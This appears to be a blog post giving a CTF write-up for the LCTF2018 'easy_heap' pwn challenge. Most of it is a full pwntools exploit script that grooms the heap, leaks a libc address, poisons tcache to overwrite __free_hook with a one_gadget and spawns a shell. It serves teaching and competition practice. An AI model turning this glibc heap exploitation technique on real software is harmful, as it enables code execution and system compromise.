LCTF2018 PWN easy_heap(22/100)

思路

overlap合并和doublefree
主要是练习一下堆布局

EXP

from pwn import *
context.log_level = 'debug'

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

p = process('easy_heap')
elf = ELF('easy_heap')
libc = elf.libc


def cmd(choice):
    sla('which command?\n> ',choice)

def add(size,content):
    cmd(1)
    sla('size \n> ',size)
    p.sendlineafter('content \n> ',content)

def show(idx):
    cmd(3)
    sla('index \n> ',idx)

def delete(idx):
    cmd(2)
    sla('index \n> ',idx)

def dbg():
    gdb.attach(p)
    pause()

for i in range(0,10):
    add(0x10,'a')
for i in range(0,6):
    delete(i)
delete(9)# protect

delete(6)#unsortbin
delete(7)
delete(8)


for i in range(0,7):
    add(0x10,'a')
add(0x10,'a')
add(0x10,'a')
add(0x10,'a')# make prevsize
#=================================================
for i in range(0,6):
    delete(i)

delete(8)
delete(7)
add(0xf8,'a')
delete(6)
delete(9)

for i in range(0,7):
    add(0x10,'a')
add(0x10,'a')
show(0)
libc_base = uu64()-96-0x3EBC40
lg('libc_base',libc_base)#leak 
#==================================================

add(0x10,'a')#0->9
delete(1)
delete(2)
delete(0)
delete(9)
add(0x10,p64(libc.sym['__free_hook']+libc_base))
add(0x10,'a')
one = libc_base + 0x4f322
add(0x10,p64(one))
delete(3)
# dbg()
# libc_base = uu64()-88
# lg('libc_base',libc_base)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • https://github.com/LCTF/LCTF2018/tree/master/Writeup/easy...
    HAPPYers阅读 806评论 2 0
  • 背景 国赛第二天碰到这个题了. off-by-null 的漏洞很明显, 直接开始写exp, 但是在构造 prev_...
    pu1p阅读 267评论 0 1
  • 思路 又学知识了,关于overlap的使用,还可以构造doublefree,实现任意地址写这道题让我又重新审视了一...
    e4l4阅读 483评论 0 0
  • 新手练习 CGfsb 简单的格式化字符串 get_shell nc 上去直接 cat flag hello_pwn...
    Nevv阅读 3,343评论 0 6
  • 16宿命:用概率思维提高你的胜算 以前的我是风险厌恶者,不喜欢去冒险,但是人生放弃了冒险,也就放弃了无数的可能。 ...
    yichen大刀阅读 8,074评论 0 4

友情链接更多精彩内容